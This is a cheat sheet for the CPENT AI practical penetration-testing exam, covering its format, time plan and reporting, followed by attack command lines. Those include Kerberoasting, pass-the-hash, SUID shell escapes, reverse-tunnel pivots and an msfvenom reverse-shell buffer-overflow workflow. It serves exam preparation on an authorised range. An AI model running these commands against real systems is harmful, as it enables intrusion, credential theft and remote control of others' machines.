01 The exam at a glance
CPENT is not a multiple-choice test. It is a 100% practical, performance-based exam on a live enterprise range, remote-proctored, and it is chained: footholds unlock networks you could not previously see. You may use your own notes and tools. That is exactly why a cheat sheet earns its place. Against a 24-hour clock, recall speed is a score.
The program is now branded CPENT AI. Same 24-hour range and same LPT Master pathway, plus AI-assisted techniques mapped across the phases: AI for reconnaissance, vulnerability analysis and exploit suggestion, AD enumeration and API recon. The underlying skills the range grades, network, AD, web, pivoting, binaries and reporting, are unchanged. Treat AI as an accelerator on top of everything below, not a replacement for it.
Rooting a box you cannot document earns you nothing. Screenshot every step, every flag and every proof as you go, with the command visible in frame. See Section 13. A candidate who hits 90% on the range but writes a weak report can drop below the LPT line.
02 The 14 CPENT AI modules
The official curriculum, in order. This cheat sheet groups them into the sections that follow, but keep the module list in mind: it is the map of what the range can throw at you.
The CPENT AI syllabus folds operational technology, wireless and perimeter work into the modules above and the range challenges, rather than listing every one as a standalone chapter. OT/SCADA testing is an advanced range skill, covered in Section 12. Do not assume a topic is out of scope just because it is not a numbered module title.
03 Hackers 4 Humanity 2026
If you are looking at CPENT right now, this is why. EC-Council's Hackers 4 Humanity invites experienced penetration testers to sit a fully sponsored CPENT AI exam. You do not donate money. You donate skill.
Pass a sponsored exam, fund someone else's start
For every professional who passes, EC-Council commits $1,000 of cybersecurity training to underprivileged learners through vetted non-profit partners. Score 90% or more and you are named one of the 1,000 Great Pen Testers of 2026, recognised on stage at Hacker Halted, streamed globally.
| Detail | What to know |
|---|---|
| Who can apply | Active penetration testers with verifiable experience, or CEH-certified (or equivalent) with 2+ years in information security. You must not already hold CPENT AI. |
| Nomination window | Roughly May 1 to early October 2026. Self-nominate or nominate a peer through EC-Council's form. |
| After approval | You have about 30 days to sit the exam; late approvals finish by end of October 2026. |
| Report | Submit your penetration test report within 7 days of your final session, same as a normal CPENT attempt. |
| Recognition | 90%+ scorers named among the 1,000 Great Pen Testers and inducted at Hacker Halted, late 2026. |
Programme dates, eligibility and partner details are set by EC-Council and can change. Confirm the current terms on the official Hackers 4 Humanity page before nominating. This section is a summary, not the terms of entry.
04 A time plan that survives the range
Most CPENT failures are not skill failures. They are time failures: eight hours lost in one rabbit hole, or a pivot attempted too late to reach the networks behind it. Split the clock into two 12-hour sessions if you can, sleep between them, and treat the plan below as a budget you actively defend.
| Window | Focus | The discipline |
|---|---|---|
| 0:00–1:00 | Full-scope sweep | Kick off a background -p- scan on everything in scope before touching a single box. Never let the network go un-enumerated while you work one host. |
| 1:00–4:00 | Low-hanging fruit | Bank the easy flags: exposed web apps, default creds, obvious CVEs. Points early buy calm later. |
| 4:00–7:00 | First foothold + pivot | Get a shell that reaches a new segment, then pivot immediately. Hidden networks are where the marks are; reach them early. |
| 7:00–10:00 | AD / internal | Enumerate the domain, Kerberoast, chase a path to Domain Admin with BloodHound. This is dense, high-value ground. |
| 10:00–12:00 | Checkpoint + report | Stop. Back up notes, write findings while fresh, snapshot progress. End session one clean. |
| 12:00–18:00 | Binaries + hard targets | Fresh brain on the buffer overflow and reverse-engineering challenges. These reward patience, not panic. |
| 18:00–22:00 | Double pivot + cleanup | Reach the deepest segment, collect remaining flags, re-try anything parked earlier with new access. |
| 22:00–24:00 | Evidence lock | Confirm every claimed flag has a screenshot and a repeatable command. No proof, no points. |
If a target has not moved in 45 minutes, park it with a note and move on. The range is chained, and unrelated points are still points. You come back with a clearer head and, often, new credentials or a new pivot that cracks it open.
Keep one running log per host: IP, open ports, creds found, exploit used, flag, and the exact command with a timestamped screenshot. CherryTree, Obsidian or a plain markdown file all work. Your report is 80% written by the time the range closes if you do this.
05 Recon, OSINT & scoping
Passive first, then active. Map the attack surface before you make noise. In a scoped exam the OSINT points are fast and cheap.
# Subdomains & DNS theHarvester -d target.com -b all subfinder -d target.com | httpx -sc -title dnsrecon -d target.com -a # axfr zone transfer attempt dig axfr target.com @ns1.target.com # Live hosts on a scoped range nmap -sn 10.10.10.0/24 -oA hosts # ping sweep, no port scan fping -a -g 10.10.10.0/24 2>/dev/null # Attack-surface OSINT whatweb https://target.com shodan host 203.0.113.10 # exposed services, banners
The AI-assisted flow expects you to feed recon output into an assistant for triage: rank hosts by exploitability, summarise a large Nmap output, suggest a first exploit. Use it to prioritise, then verify by hand. The range still scores the actual exploit, not the suggestion.
06 Network, perimeter & service enumeration
Nmap is the workhorse. Know the full-port sweep, service/version detection, the scripting engine, and the evasion flags for perimeter devices.
# The one-two: fast full sweep, then deep on what is open nmap -p- --min-rate 2000 -T4 10.10.10.5 -oN all-ports.txt nmap -sC -sV -p 22,80,445,3389 10.10.10.5 -oA deep nmap -sU --top-ports 50 10.10.10.5 # UDP: SNMP, TFTP, IKE nmap --script "vuln" -p 445 10.10.10.5 # NSE vuln category # Perimeter / firewall evasion (module 07) nmap -sA -p 1-1000 10.10.10.5 # ACK scan: map firewall rules nmap -f --mtu 16 10.10.10.5 # fragment packets nmap -D RND:10 10.10.10.5 # decoys nmap -g 53 -sS 10.10.10.5 # source port 53, trusted
# SMB (445) enum4linux-ng -A 10.10.10.5 smbclient -L //10.10.10.5/ -N # null session share list crackmapexec smb 10.10.10.5 -u '' -p '' # LDAP (389) · SNMP (161) · NFS (2049) ldapsearch -x -H ldap://10.10.10.5 -s base namingcontexts snmpwalk -v2c -c public 10.10.10.5 showmount -e 10.10.10.5
| Port | Service | First move |
|---|---|---|
| 21 | FTP | Anonymous login, then check writable dirs for web-root upload |
| 445 | SMB | Null session, share enum, EternalBlue/CVE checks, then creds |
| 161 | SNMP | public community string leaks users, routes, processes |
| 1433 | MSSQL | xp_cmdshell, linked servers, service-account privesc |
| 3389 | RDP | Once you have creds; check NLA and password reuse |
07 Web application & API / JWT
Content discovery, then injection and access-control flaws. The dedicated API and JSON Web Token module means IDOR/BOLA and JWT attacks are fair game, not just classic OWASP injection.
# Content & vhost discovery ffuf -u https://target/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,403 ffuf -u https://target -H "Host: FUZZ.target" -w subdomains.txt -fs 0 gobuster dir -u https://target -w raft-medium-words.txt -x php,txt # Injection sqlmap -u "https://target/item?id=1" --batch --dbs sqlmap -r request.txt --batch --dump # from a saved Burp request nikto -h https://target
# IDOR / BOLA: iterate object IDs across another user's context ffuf -u https://target/api/v1/users/FUZZ/orders -w ids.txt \ -H "Authorization: Bearer <low-priv-token>" -mc 200 # JWT: inspect, tamper, crack jwt_tool <token> # decode header/payload jwt_tool <token> -X a # alg:none bypass jwt_tool <token> -C -d wordlist.txt # brute the HS256 secret hashcat -m 16500 jwt.txt rockyou.txt # crack signing key
1. alg:none — server trusts an unsigned token. 2. Weak HS256 secret you can crack, then forge admin claims. 3. Algorithm confusion — sign with the public key as an HMAC secret when the server expects RS256. Try them in that order.
08 Windows & Active Directory
The densest scoring ground on the range. Local privesc gets you SYSTEM on a box; AD attacks get you the domain. Enumerate first, then pick the shortest path.
whoami /priv # the whole game is in here winPEASx64.exe quiet # or PowerUp Invoke-AllChecks # SeImpersonate / SeAssignPrimaryToken -> SYSTEM PrintSpoofer.exe -i -c cmd GodPotato -cmd "cmd /c whoami" # modern potato, 2019/2022 # Unquoted service paths, weak service perms, AlwaysInstallElevated
# Map the domain (run BloodHound, then read the shortest path) bloodhound-python -u user -p pass -d corp.local -c all -ns 10.10.10.5 # or on-host: SharpHound.exe -c All # Kerberoast: service accounts with SPNs -> crackable TGS impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.10.10.5 -request hashcat -m 13100 tgs.txt rockyou.txt # AS-REP roast: accounts without pre-auth impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass hashcat -m 18200 asrep.txt rockyou.txt # Move & dump once you have a hash or password impacket-secretsdump corp.local/user:[email protected] evil-winrm -i 10.10.10.5 -u admin -H <NTLM-hash> # pass-the-hash impacket-psexec corp.local/[email protected] -hashes :<NTLM>
| Attack | Precondition | hashcat mode |
|---|---|---|
| Kerberoasting | Any domain user; target has an SPN | 13100 |
| AS-REP roasting | Account with pre-auth disabled | 18200 |
| NTLMv2 capture | Responder / relay on the segment | 5600 |
| DCSync | Replication rights (often via ACL abuse) | secretsdump |
09 Linux exploitation & privilege escalation
Run the enumerator, then work the five classic vectors: sudo rules, SUID binaries, capabilities, cron and writable paths. GTFOBins turns almost any of them into a root shell.
./linpeas.sh -a | tee linpeas.txt sudo -l # NOPASSWD entries -> GTFOBins find / -perm -4000 -type f 2>/dev/null # SUID binaries getcap -r / 2>/dev/null # cap_setuid=ep is game over cat /etc/crontab; ls -la /etc/cron.* # writable script run as root # Examples via GTFOBins sudo find . -exec /bin/sh \; -quit # if sudo find is allowed ./cap_binary -c 'import os; os.setuid(0); os.system("/bin/sh")'
You will not recall every SUID trick. You will recall: run linpeas, note anything unusual, look it up on GTFOBins, get root. Kernel exploits (DirtyPipe, PwnKit) are a fallback when config is clean, not a first move; they are noisy and can crash the box.
10 Pivoting, tunnelling & the double pivot
This is what makes CPENT CPENT. Hidden segments sit behind compromised hosts, and the highest-value flags live there. The double pivot, routing through two chained hosts to reach a third network, is a signature exam skill. Practise it cold.
# Dynamic SOCKS proxy through a foothold (single pivot) ssh -D 1080 -N [email protected] # then set socks5 127.0.0.1 1080 proxychains nmap -sT -Pn 172.16.5.0/24 # scan the hidden net # Local / remote forwards for a single port ssh -L 8000:172.16.5.10:80 [email protected] # reach their :80 locally ssh -R 9001:127.0.0.1:9001 [email protected] # pull a callback back to you
# chisel reverse SOCKS: attacker=server, pivot host=client attacker> chisel server -p 8080 --reverse pivot> chisel client ATTACKER:8080 R:socks # ligolo-ng: clean tun interface, best for double pivots attacker> ./proxy -selfcert pivot1> ./agent -connect ATTACKER:11601 -ignore-cert # add a route to the hidden net, then repeat the agent on pivot2 sudo ip route add 172.16.5.0/24 dev ligolo
Compromise host A (reachable), tunnel through it to reach host B on a second network, compromise B, then start a second tunnel through B to reach network C. ligolo-ng handles this cleanly by adding a route per segment; with SSH you nest a second -D through the first proxy. Metasploit does it with autoroute + a second socks_proxy. See the deeper pivoting & tunnelling lab.
11 Reverse engineering & binary exploitation
The module that scares people. You are not asked to write research-grade exploits. You are asked to drive the classic stack buffer overflow to completion, on both 32 and 64-bit targets, under time pressure. Know the workflow as a reflex.
# 0. Triage the binary checksec --file=./vuln # NX? PIE? canary? RELRO? # 1. Crash it, then find the exact offset to EIP/RIP msf-pattern_create -l 2000 msf-pattern_offset -q 39694438 # the value that landed in EIP # 2. Confirm control: send offset*'A' + 'BBBB' -> EIP=0x42424242 # 3. Find bad chars (compare sent vs memory), then a JMP ESP !mona jmp -r esp -cpb '\x00\x0a' # in Immunity/WinDbg + mona.py # 4. Generate shellcode avoiding bad chars msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 \ -b '\x00\x0a\x0d' -f python -v shellcode # 5. Payload = offset*'A' + JMP_ESP_addr + NOPs + shellcode
| Protection | What it stops | Range-realistic answer |
|---|---|---|
| NX / DEP | Executing shellcode on the stack | Ret2libc or a short ROP chain to system() |
| ASLR | Hardcoding addresses | Leak an address first, or brute a non-PIE 32-bit base |
| Stack canary | Overwriting the return address blindly | Leak the canary via a format string, then keep it intact |
gdb + pwndbg or GEF for dynamic analysis, Ghidra for static reversing, mona.py in Immunity/WinDbg for Windows offset and gadget hunting. For scripted exploits, pwntools turns the five steps above into a dozen lines of Python.
12 IoT & OT / SCADA
IoT is a named module; operational technology is an advanced range skill. Both reward careful enumeration over brute force, and OT especially demands a light touch: these are systems that move physical things.
# Firmware: extract and hunt for secrets binwalk -e firmware.bin # carve the filesystem strings -n 8 firmware.bin | grep -i -E 'pass|key|token' grep -rE '(BEGIN RSA|admin:)' _firmware.extracted/ # MQTT (1883) — often unauthenticated on IoT mosquitto_sub -h 10.10.10.5 -t '#' -v # subscribe to everything
# Modbus (502) and S7comm (102) — identify only
nmap -p 502 --script modbus-discover 10.10.10.5
nmap -p 102 --script s7-info 10.10.10.5
On operational technology you enumerate and prove access; you do not fuzz or flood. In the real world an aggressive scan can halt a PLC and a physical process. CPENT tests whether you know the difference between a controlled test and a reckless one, so treat OT targets as read-first, write-never unless the objective explicitly calls for it.
13 Report writing & submission
The exam is not over when the range closes. You have seven days to submit a professional penetration test report, and it counts toward your score. Treat it as a deliverable a client would pay for, because in the LPT world, that is exactly the point.
| Section | What graders look for |
|---|---|
| Executive summary | Business-language risk, no jargon. What could an attacker do, and why should leadership care. |
| Scope & methodology | What was in scope, the standard followed, dates and rules of engagement. |
| Findings | One per issue: title, CVSS/severity, affected asset, description, and reproducible steps. |
| Proof of concept | Screenshots with the command visible, request/response pairs, the captured flag. |
| Remediation | Specific, actionable fixes per finding. Not "patch everything". |
Every screenshot should show the target IP, your command and the result in one frame. A flag string with no context is weak proof. This is why the time plan ends each session with an evidence-lock window: reconstructing proofs from memory after the range closes is where scores quietly leak away.
14 CPENT exam FAQ
How long is the CPENT exam and how is it scored?
It is a fully practical exam on a live cyber range. You choose one continuous 24-hour session or two 12-hour sessions. Score 70%+ for the CPENT certification and 90%+ to also earn the Licensed Penetration Tester (LPT) Master credential. You then submit a professional report within seven days of your final session, and that report is scored too.
Is the CPENT exam open book?
Yes. It is a hands-on range, so your own notes, cheat sheets and standard tools are allowed; outside help is not. The advantage of a reference like this is speed. On a 24-hour clock, the tester who does not stop to look up an msfvenom flag or a Kerberoasting one-liner simply finishes more challenges.
What is CPENT AI and how is it different from the older CPENT?
CPENT AI is the current version. It keeps the same 24-hour practical exam and LPT Master pathway, and layers in AI-assisted techniques across the phases: AI for reconnaissance, vulnerability analysis, exploit suggestion and Active Directory enumeration. The core skills the range grades are unchanged.
What is the hardest part of the CPENT exam?
For most candidates it is pivoting into hidden segments combined with binary exploitation under time pressure. The range is chained, so a foothold on one host is the only route to a network behind it, and a failed pivot blocks everything past it. Practising double pivoting and 32 and 64-bit stack overflows until they are automatic is what separates a pass from an LPT Master score.
What is Hackers 4 Humanity and how does it relate to CPENT?
It is an EC-Council initiative offering experienced pen testers a fully sponsored CPENT AI exam. For each professional who passes, EC-Council donates $1,000 of cybersecurity training to underprivileged learners through non-profit partners. Score 90%+ and you are recognised as one of the 1,000 Great Pen Testers of 2026 at Hacker Halted. Nominations run from May to early October 2026.
Do I need exploit development skills to pass CPENT?
You need working competence, not research-grade skill. The binary module expects you to find a stack buffer overflow, calculate the offset, handle bad characters, redirect execution to a JMP ESP and land a msfvenom payload, on both 32 and 64-bit targets. You will not be asked to write a novel heap exploit, but the classic stack overflow workflow must be second nature.